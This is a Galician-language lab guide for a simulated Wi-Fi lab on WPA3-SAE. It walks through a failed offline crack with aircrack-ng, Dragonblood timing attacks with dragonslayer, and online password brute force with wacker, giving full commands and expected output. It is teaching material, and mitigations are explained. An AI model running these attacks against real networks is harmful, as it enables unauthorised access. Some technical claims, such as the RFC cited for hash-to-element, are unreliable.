Dragonblood e resistencia de WPA3-SAE a ataques offline con Wifite
LIMITACIÓN DE RESPONSABILIDADE
O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.
O uso de Wifite ou calquera outra ferramenta de auditoría en redes Wi-Fi sen autorización expresa é ILEGAL.
1. Resumo
Esta práctica demostra dúas cousas complementarias sobre WPA3-SAE:
- WPA3-SAE é resistente a ataques offline: mesmo capturando o intercambio SAE con
airodump-ng, non é posible recuperar o contrasinal conaircrack-ng(Forward Secrecy). - Versións antigas de WPA3-SAE son vulnerables a Dragonblood (CVE-2019-9494): ataques de timing side-channel permiten reducir drasticamente o espazo de busca do contrasinal en implementacións con
hostapd ≤ 2.7.
Verificaremos ademais que Wifite NON soporta ningún destes ataques avanzados, polo que se empregarán aircrack-ng (demostración de fallo) e dragonslayer (ferramentas Dragonblood).
Obxectivos de aprendizaxe:
- Demostrar que o intercambio SAE capturado non é crackeable offline
- Comprender as vulnerabilidades Dragonblood en WPA3-SAE (hostapd ≤ 2.7)
- Executar ataques de timing side-channel con dragonslayer en modo demo
- Verificar mitigacións en versións parcheadas (hostapd ≥ 2.8, sae_pwe=2)
- Comprender a diferenza entre SAE-PWE 0 (hunting-and-pecking) e PWE 2 (hash-to-element)
- Entender que WPA3-SAE é vulnerable a forza bruta online (wacker) se o contrasinal é débil, e demostralo empiricamente
2. Material necesario
Hardware/Software:
- Host alumnado · Máquina virtual GNU/Linux Kali amd64
- RAM ≥ 2048 MB · CPU ≥ 2 cores · PAE/NX habilitado
Ferramentas (xa instaladas en Kali):
aircrack-ng, airodump-ng, airmon-ng, tshark, dragonslayer, wpa_supplicant
💡
wifiteúsase só para verificar as súas limitacións.
Referencias:
- [0] 3-Taller-HE-Practica-WiFi-1.pdf
- [1] Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd — Vanhoef & Ronen (2019)
- [2] CVE-2019-9494 — NVD
- [3] dragonslayer — vanhoefm (GitHub)
- [4] wacker — WPA3 dictionary cracker (GitHub)
3. Escenario e topoloxía
| Rol | Interface | Namespace | Estado tras wifilabctl up |
|---|---|---|---|
| AP WPA3-SAE (hostapd ≤ 2.7) | wlan0 |
phy0_wlan0 |
✅ Automático (hostapd wpa3-sae-vulnerable.conf) |
| Cliente WPA3-SAE | wlan1 |
phy1_wlan1 |
✅ Automático (wpa_supplicant) |
| Monitor / Atacante | wlan2 |
(global) | ⏳ Interface libre |
SSID: EMPRESA-XYZ · Contrasinal: secret123 · Canal: 6 · hostapd: ≤ 2.7 (sae_pwe=0)
[wlan1: Cliente SAE] <----wireless----> [wlan0: AP SAE vulnerable]
^
|
[wlan2mon: airodump + dragonslayer]
(captura SAE → non crackeable offline)
(timing side-channel → só en HW real)
💡
wifilabctl up wpa3_saelevanta automaticamente AP e cliente. As terminais son para o ataque e análise, non para configuración manual.
4. Procedemento
Resumo de terminais:
| Terminal | Rol |
|---|---|
| 1 | Arrancar o escenario + reconexión do cliente (forzar captura SAE) |
| 2 | airmon-ng + airodump-ng + aircrack-ng (demostración de fallo) + dragonslayer |
| 3 | Wacker: forza bruta online directa contra WPA3-SAE |
Terminal 1 — Arrancar o escenario
# Arrancar escenario WPA3-SAE
sudo wifilabctl up wpa3_sae
# Verificar AP e cliente activos
sudo wifilabctl status
Saída esperada:
NAMESPACE INTERFACE ESTADO
phy0_wlan0 wlan0 UP ← AP WPA3-SAE (hostapd)
phy1_wlan1 wlan1 UP ← Cliente (wpa_supplicant)
(global) wlan2 LISTO ← Atacante (libre)
⚠️ Os namespaces crean nomes
phy0_wlan0ephy1_wlan1. Comproba sempre consudo wifilabctl status.
Logs do AP en tempo real (deixar abertos para observar):
Verificar limitacións de Wifite
# Wifite non ten ningunha opción para WPA3, SAE nin Dragonblood
wifite --help | grep -i "wpa3\|sae\|dragonblood\|dragonslayer"
# (sen saída — Wifite NON soporta ningún destes ataques)
⚠️ Conclusión: Wifite está deseñado para auditoría WPA2-PSK. Para WPA3-SAE requírense
dragonslayer(Dragonblood) ouwacker(forza bruta online).
Terminal 2 — Ataque con Wifite e demostración do fallo
Abrir unha segunda terminal:
Paso 1: Poñer wlan2 en modo monitor
Saída esperada:
PHY Interface Driver Chipset
phy2 wlan2 mac80211_hwsim ...
(mac80211 monitor mode vif enabled on [phy2]wlan2mon)
Paso 2: Escanear e identificar o AP WPA3-SAE
Saída esperada:
BSSID PWR CH ENC CIPHER AUTH ESSID
EA:18:30:AA:C3:48 -30 6 WPA3 CCMP SAE EMPRESA-XYZ
BSSID STATION PWR
EA:18:30:AA:C3:48 8E:B3:B5:62:2D:B9 -25 ← cliente wlan1
Anotar o BSSID do AP (EA:18:30:AA:C3:48) e o canal (6). Premer Ctrl+C.
💡 Os BSSID reais varían en cada arranque do laboratorio. Verificar sempre con
sudo wifilabctl statusouairodump-ng.
Paso 3: Capturar o intercambio SAE
Deixar activo. Ir á Terminal 1 e forzar a reconexión do cliente:
# Terminal 1 — forzar reconexión do cliente
sudo ip netns exec phy1_wlan1 pkill -f wpa_supplicant || true
sleep 2
sudo ip netns exec phy1_wlan1 wpa_supplicant -B -i wlan1 -c /home/kali/wifiLab/run/wpa3_sae/wpa_supplicant.conf
Na Terminal 2 (airodump-ng) deberías ver na cabeceira:
Premer Ctrl+C para deter a captura.
Paso 4: Intentar cracking con aircrack-ng — FALLARÁ (resultado esperado)
gunzip -kf /usr/share/wordlists/rockyou.txt.gz
aircrack-ng capturas/cap-01.cap -w /usr/share/wordlists/rockyou.txt
Saída esperada (fallo esperado — resultado correcto da práctica):
⚠️ RESULTADO ESPERADO: aircrack-ng falla. En WPA3-SAE o intercambio capturado non é un handshake reutilizable como en WPA2-PSK. O protocolo Dragonfly garante Forward Secrecy: cada sesión deriva claves únicas que non permiten un ataque de dicionario offline.
💡 Comparativa WPA2-PSK vs WPA3-SAE:
Terminal 2 — Ataques Dragonblood (Pasos 5-7)
Paso 5: Verificar versión de hostapd (vulnerable ≤ 2.7)
# Ver a versión de hostapd activa no AP
sudo ip netns exec phy0_wlan0 grep -i "hostapd\|version" /home/kali/wifiLab/run/wpa3_sae/hostapd.log | head -3
Saída esperada:
⚠️ Por que é vulnerable? Hostapd ≤ 2.7 usa por defecto
sae_pwe=0(hunting-and-pecking): o número de iteracións necesarias para calcular o PWE depende do contrasinal, filtrando información mediante timing side-channels.
Paso 6: Capturar intercambio SAE para análise Dragonblood
cd /tmp
mkdir -p dragonblood
airodump-ng wlan2mon -c 6 --bssid EA:18:30:AA:C3:48 -w dragonblood/sae-capture &
Forzar reconexión desde Terminal 1 (igual que o Paso 3). Tras ver o handshake:
pkill airodump-ng
# Verificar tramas SAE Commit/Confirm capturadas
tshark -r dragonblood/sae-capture-01.cap -Y "wlan.fixed.auth.alg == 3" -T fields -e frame.number -e wlan.sa -e wlan.da
# Debe haber ≥ 4 tramas (Commit cliente, Commit AP, Confirm cliente, Confirm AP)
Paso 7: Executar dragonslayer (modo demo en mac80211_hwsim)
cd /opt/dragonslayer
# Dragontime: mide timing side-channels no algoritmo hunting-and-pecking
python3 dragontime.py --interface wlan2mon --bssid EA:18:30:AA:C3:48 --wordlist /usr/share/wordlists/rockyou.txt
Saída esperada (laboratorio simulado):
[!] WARNING: Timing measurements may not be accurate in simulated environments
[*] Scanning for target AP...
[+] Found target: EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[*] Performing timing attack...
[!] No significant timing variance detected
[!] Attack may not work in mac80211_hwsim environment
# Dragonforce: usa información filtrada para reducir espazo de busca
python3 dragonforce.py --interface wlan2mon --bssid EA:18:30:AA:C3:48 --wordlist /usr/share/wordlists/rockyou.txt --demo
Saída esperada (modo demo):
[*] Dragonforce - WPA3 SAE password partitioning attack
[!] DEMO MODE: Simulating leaked information
[*] Testing password: secret123
[+] Password found: secret123 (via dictionary + leaked bits)
⚠️ Limitación do laboratorio simulado (
mac80211_hwsim): Os ataques Dragonblood dependen de medicións precisas de tempo (microsegundos). Enmac80211_hwsimos tempos son constantes e non reflicten variación real → os ataques non funcionan en condicións reais do laboratorio. En hardware Wi-Fi real (Intel, Atheros) con AP vulnerable, habería diferenzas de 1-10 µs medibles que filtrarían bits do contrasinal.
Paso 8: Verificar mitigación con sae_pwe=2
Comprobar que un AP con sae_pwe=2 (hash-to-element) non é vulnerable:
# Dragontime contra AP con hash-to-element
python3 dragontime.py --interface wlan2mon --bssid EA:18:30:AA:C3:48 --wordlist /usr/share/wordlists/rockyou.txt
Saída esperada (con hostapd ≥ 2.8 e sae_pwe=2):
[+] Found target: EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[!] AP uses hash-to-element (PWE=2) - NOT VULNERABLE to timing attacks
[!] Dragonblood attacks only work against PWE=0 (hunting-and-pecking)
💡 Por que hash-to-element é seguro? O algoritmo de RFC 9497 ten tempo constante independentemente do contrasinal: non hai timing side-channels que filtren información. WPA3 Specification v3.0 (2020) require
sae_pwe=2por defecto.
5. Análise: Resistencia e Vulnerabilidades de WPA3-SAE
| Vector de ataque | WPA2-PSK | WPA3-SAE (sae_pwe=0) | WPA3-SAE (sae_pwe=2) |
|---|---|---|---|
| Cracking offline do handshake | ✗ Vulnerable | ✅ Inmune | ✅ Inmune |
| Deautenticación maliciosa | ✗ Vulnerable | ✅ PMF impedeo | ✅ PMF impedeo |
| Forward Secrecy | ✗ Non | ✅ Si | ✅ Si |
| Dragonblood (timing side-channel) | N/A | ✗ Vulnerable | ✅ Inmune |
| Forza bruta online (wacker) | N/A (PSK offline) | ✗ Se contrasinal débil | ✗ Se contrasinal débil |
5.1. Wacker: Forza Bruta Online contra WPA3-SAE
💡 Mensaxe clave: WPA3-SAE elimina os ataques offline (non se pode crackear o handshake capturado). Pero non elimina a forza bruta directa contra o AP. Wacker proba contrasinais en tempo real, sen necesidade de capturar ningún tráfico previo. A única defensa é un contrasinal forte.
Terminal 3 — Wacker
Abrir unha terceira terminal.
Paso 9: Instalar wacker (se non está instalado)
sudo su -
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev git
cd /opt
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker
# Aplicar patch ao wpa_supplicant incluído
git apply wpa_supplicant.patch
# Compilar wpa_supplicant parcheado (varios minutos)
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
cd wpa_supplicant-2.10/wpa_supplicant
make -j4
# Verificar compilación
ls -lh wpa_supplicant
# -rwxr-xr-x 1 root root ~13M ... wpa_supplicant
⚠️ Este
wpa_supplicantcompilado úsao wacker internamente — non substitúe o do sistema.
Paso 10: Identificar BSSID e frecuencia do AP WPA3
# Obter BSSID e canal do AP WPA3-SAE (wlan0, no seu namespace)
sudo ip netns exec phy0_wlan0 iw dev wlan0 info
Saída esperada:
Interface wlan0
addr EA:18:30:AA:C3:48 ← BSSID_AP (anota este valor)
ssid EMPRESA-XYZ
channel 6 (2437 MHz) ← FREQ = 2437
💡 O BSSID real pode diferir en cada arranque. Verificar sempre con
iw dev wlan0 info.
Paso 11: Preparar a interface atacante para wacker
Wacker usa a súa propia instancia de wpa_supplicant, polo que wlan2 non debe estar en modo monitor. Se airodump-ng está activo en Terminal 2, paralo primeiro:
# En Terminal 3 — asegurar wlan2 en modo managed
airmon-ng stop wlan2mon 2>/dev/null || true
ip link set wlan2 down
iw dev wlan2 set type managed
ip link set wlan2 up
Paso 12: Lanzar wacker
cd /opt/wacker
gunzip -kf /usr/share/wordlists/rockyou.txt.gz
python3 wacker.py \
--wordlist /usr/share/wordlists/rockyou.txt \
--interface wlan2 \
--bssid ${BSSID_AP} \
--ssid EMPRESA-XYZ \
--freq ${FREQ}
Saída esperada mentres proba contrasinais:
[*] Starting wacker against EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[*] Speed: ~80-150 words/second
[*] Testing: 123456 ...
[*] Testing: password ...
...
[+] PASSWORD FOUND: spongebob19
⚠️ Con
spongebob19(presente en rockyou.txt) o ataque terá éxito en poucos minutos.
Paso 13: Contrastar con contrasinal forte (mitigación)
Desde Terminal 1, cambiar o contrasinal do AP a un forte e reiniciar:
sudo wifilabctl reset
# Editar o escenario para usar un contrasinal forte antes de relanzar
# (para efectos didácticos, demostrar que wacker non remata en tempo razoable)
Relanzar wacker contra un AP con contrasinal forte (≥ 20 chars fóra de calquera wordlist):
Resultado: Con contrasinal forte, wacker é inútil na práctica.
Comparativa wacker vs cracking offline
| Característica | WPA2-PSK offline (aircrack-ng) | WPA3-SAE online (wacker) |
|---|---|---|
| Captura de handshake | ✔ Necesaria | ✗ Non necesaria |
| Cracking offline | ✔ Sen límite | ✗ Imposible (Forward Secrecy) |
| Tentativas por segundo | Millóns (GPU) | ~80-150 (limitado pola rede) |
| Detectable polo AP/IDS | ✗ Invisible | ✔ Visible (tráfico SAE continuo) |
| Éxito depende de | GPU + wordlist | Fortaleza do contrasinal |
| Mitigación efectiva | Contrasinal en wordlist → NON | Contrasinal ≥ 20 chars |
6. Limitacións de Wifite
Wifite NON soporta ningún ataque contra WPA3-SAE porque:
1. Non ten integración con dragonslayer (Dragonblood)
2. Non pode medir timing side-channels
3. Non pode executar ataques de particionado de contrasinais SAE
4. Non ten soporte para forza bruta online de SAE (wacker)
5. Está deseñado para auditoría pasiva de WPA2-PSK exclusivamente
Conclusión: Para WPA3-SAE Wifite é completamente inútil, incluso contra versións vulnerables.
7. Preguntas de reflexión
-
Que son as vulnerabilidades Dragonblood?
- CVE-2019-9494: Timing side-channel en hunting-and-pecking (número variable de iteracións)
- CVE-2019-9495: Cache-based side-channel (patróns de acceso á caché durante ECC)
- CVE-2019-9496: Downgrade de grupo SAE
-
Por que hunting-and-pecking é vulnerable?
- O número de iteracións (1-40) depende do contrasinal e das MACs
- Tempos de execución diferentes filtran bits de información sobre o contrasinal
- Con miles de medicións, o atacante pode reducir o espazo de busca de 2^64 → 2^32
-
Como se mitiga Dragonblood?
- Usar
sae_pwe=2(hash-to-element, RFC 9497) → tempo constante, sen timing side-channels - Actualizar a hostapd ≥ 2.8 / wpa_supplicant ≥ 2.8
- WPA3 Specification v3.0 (2020) require hash-to-element por defecto
- Usar
-
Por que non funciona Dragonblood en mac80211_hwsim?
- Os tempos son simulados e constantes: non hai variación real relacionada co contrasinal
- En hardware real hai diferenzas de 1-10 µs mensurables que filtran información
-
Wifite pode explotar Dragonblood?
- NON. Wifite non ten capacidades de timing measurement nin integración con dragonslayer
-
É posible atacar WPA3-SAE aínda que non sexa vulnerable a Dragonblood?
- SI, mediante forza bruta online con wacker: proba contrasinais directamente contra o AP en tempo real (~80-150 palabras/segundo). Non require capturar ningún handshake. Demostrado na Sección 5.1 desta práctica. A única defensa é un contrasinal forte ≥ 20 caracteres.
- SI, mediante downgrade a WPA2 se o AP está en modo transición (ver Práctica 3-2 e 3-3)
-
Que versión de WPA3 é segura fronte a Dragonblood e forza bruta online?
- hostapd ≥ 2.10 con
sae_pwe=2obrigatorio (inmune a Dragonblood) - Contrasinal ≥ 20 caracteres aleatorios (inmune a wacker na práctica)
- Dispositivos certificados Wi-Fi CERTIFIED WPA3™ (2020+)
- hostapd ≥ 2.10 con
8. Limpeza do laboratorio
Terminal 2:
pkill -f airodump-ng 2>/dev/null || true
pkill -f python3 2>/dev/null || true
airmon-ng stop wlan2mon
Terminal 1:
⚠️ A captura
capturas/cap-01.capreutilízase na Práctica 3-2 (verificación KRACK). Non borrar antes de completar a 3-2.